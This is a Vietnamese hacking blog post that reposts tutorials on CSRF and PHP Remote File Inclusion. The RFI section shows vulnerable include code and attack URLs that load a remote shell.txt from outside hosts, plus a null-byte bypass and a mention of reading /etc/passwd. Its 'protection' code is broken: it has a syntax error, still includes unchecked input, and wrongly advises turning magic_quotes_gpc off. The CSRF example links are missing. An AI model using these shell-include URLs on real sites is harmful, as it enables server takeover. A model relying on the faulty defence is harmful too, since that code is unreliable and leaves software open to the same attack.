Thứ Ba, 22 tháng 9, 2015

Bài viết hacking

1. Kỹ thuật Tấn công CSRF - Mượn gió bẻ măng.

Cross-site Request Forgery (CSRF) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực.

KỸ THUẬT TẤN CÔNG CSRF

Để hiểu rõ hơn về CSRF, ta xét một ví dụ sau:
Dịch vụ Internet Banking của một ngân hàng có chức năng chuyển tiền giữa các tài khoản. Đường link chuyển tiền từ tài khoản A sang tài khoản B có dạng:
trong đó sender là người gửi tiền, receiver là người nhận tiền và amount là số tiền chuyển. Hiển nhiên là đường link này chỉ được người A thực thi, vì thế nên phải có một thao tác kiểm tra sender chính là người thực thi đường link.
Tuy vậy, bằng một cách nào đó, hacker lừa được A chạy đường link trên (có thể là chèn một iframe tới đường link này, tại bài viết trong một forum và lừa cho A đọc bài viết), thao tác xác thực được vượt qua và hacker có thể chuyển tiền từ A đến bất kỳ tài khoản nào.
Một ví dụ nữa, giả sử thao tác xóa bài viết trong một forum được thực hiện bằng link sau:
Thao tác này chỉ được thực hiện bởi tài khoản có quyền admin. Nếu lừa được admin chạy đường link trên, hacker có thể xóa bất kỳ bài viết nào mình muốn.

PHÒNG CHỐNG

Để ngăn chặn CSRF, có hai phương pháp thường được sử dụng:
  • Phương pháp đơn giản là chèn thêm token vào đường link thực hiện thao tác. Giá trị token này phải mạnh, khó đoán, thường là hash của session ID của user kết hợp với password, IP của user, thời điểm đăng nhập,…Mục đích của token là làm cho hacker không thể xác định được chính xác đường link thực hiện thao tác.
Ở ví dụ Internet Banking của ngân hàng trên, ta thêm một biến token vào, đường link chuyển tiền có dạng
Giá trị của biến token được sinh ra dựa trên những thông tin đặc trưng của user. Trong filesendfund.php sẽ có một hàm sinh ra token này và kiểm tra xem có khớp với giá trị token trên URL không, nếu không khớp thì thao tác chuyển tiền trên không được thực hiện.
Điểm yếu của phương pháp này là khi giá trị token bị lộ nó sẽ không còn tác dụng.
  • Chèn thêm bước xác nhận trung gian trước khi thực hiện các thao tác nhạy cảm: có thể là yêu cầu user nhập lại password để xác nhận thao tác của mình trước khi thực hiện hoặc sử dụng captchađể xác nhận.

facebook confirmFacebook yêu cầu nhập lại mật khẩu khi thực hiện những tác vụ nhạy cảm
Các dịch vụ thanh toán (ngân hàng, chứng khoán) thường yêu cầu user sử dụng thêm OTP (One-time password) hoặc chứng thư số để xác nhận lại các giao dịch.

Nguồn: tek

2.Remote file inclusion (RFI)
Remote file inclusion (RFI)
a)Giới thiệu nội dung chính :


Đây là một phương pháp hack lợi dụng hàm include() trong php để chèn vào một vài file nào đó.Thường nội dùng chèn vào file ta nên lấy từ 1 file txt nào đó chứa nội dung của một script shell.
Xem một mẫu RFI 
http://www.victim.com/index.php?page=home
Và đoạn script cho phép chèn 

<?php
$page = $_GET['page'];
include($page);
?>


Ở đây nếu biến $page đc khai báo toàn cục trong file cấu hình php.ini (register_global đc set on) thì đoạn script đc viết kiểu như sau

<?php
include($page);
?>


Giả sử victim là http://www.victim.com/index.php?page=home
ta có thể chỉ định cho home là nội dung của một con shell.Ví dụ như thế này.
http://www.victim.com/index.php?page=www.huynhdegroup.com/shell.txt?
Lúc này nội dung của con shell sẽ được chèn vào thay thế cho nội dung của trang home.
Điều kiện để có thể include nội dung từ một link khác này có thể thực hiện đc đó là trong cấu hình php.ini ,2 thuộc tính allow_url_open , allow_url_include đc set là ON.Chỉ khi 2 thuộc tính này đc set là On nó mới cho phép vịêc thực hiện include từ 1 url nào đó vào nội dung của site.Vậy thử suy nghĩ xem.Giả sử truờng hợ 2 thuộc tính này đc set với giá trị là OFF thì điều gì sẽ xảy ra.Và ta sẽ xử lí trường hợp này như thế nào?
- Điều xảy ra đó là ko thể include nội dung từ 1 url khác đc.
- Nhưng ta có thể lợi dụng lỗi này để xem một số file nhạy cảm khác nằm trong server của mình .Như xem nội dung của etc/passwd chẳng hạn --> phương pháp này gọi là Local File Inclusion .Chúng ta sẽ bàn về nó sau

b) Phương pháp bypass:

Đôi khi không phải lúc nào ta cũng thực hiện thành công ngay RFI.Ví dụ như trong đoạn script php.Coder cố gắng hạn chế RFI bằng các giới hạn file có thể include như sau.

<?php
$page = $_GET['page'];
include($page.".htm");
?>


Đoạn script này chỉ cho phép include những trang có đuôi là htm mà thôi.Đối với các kiểu liên quan đến loại file này ta thường dùng null byte bypass ()
Lúc này chúng ta sẽ sẽ include với mẫu như sau
http://www.victim.com/index.php?page=www.antiwhitehat.com/shell.txt

Nếu bạn nào từng upload shell php mà bị chặn file php hẳn cũng biết phương pháp này này.Với việc chèn thì mọi thứ sau nó sẽ ko đc tính đến .

c) Phương pháp Bảo vệ:

Đứng trên phương diện chống RFI ,chúng ta có thể để với mẫu như sau.Đọc script sẽ hiểu vì sao nó chống đc RFI nhé.

<?php
$page = $_GET['page'];
if(file_exists("pages/".$page) {
include($page);
}
?>


Hoặc để chống null-bypass ta có thể set thuộc tính magic_quotes_gpc=Off

Nguồn: hackingworld
























Không có nhận xét nào:

Đăng nhận xét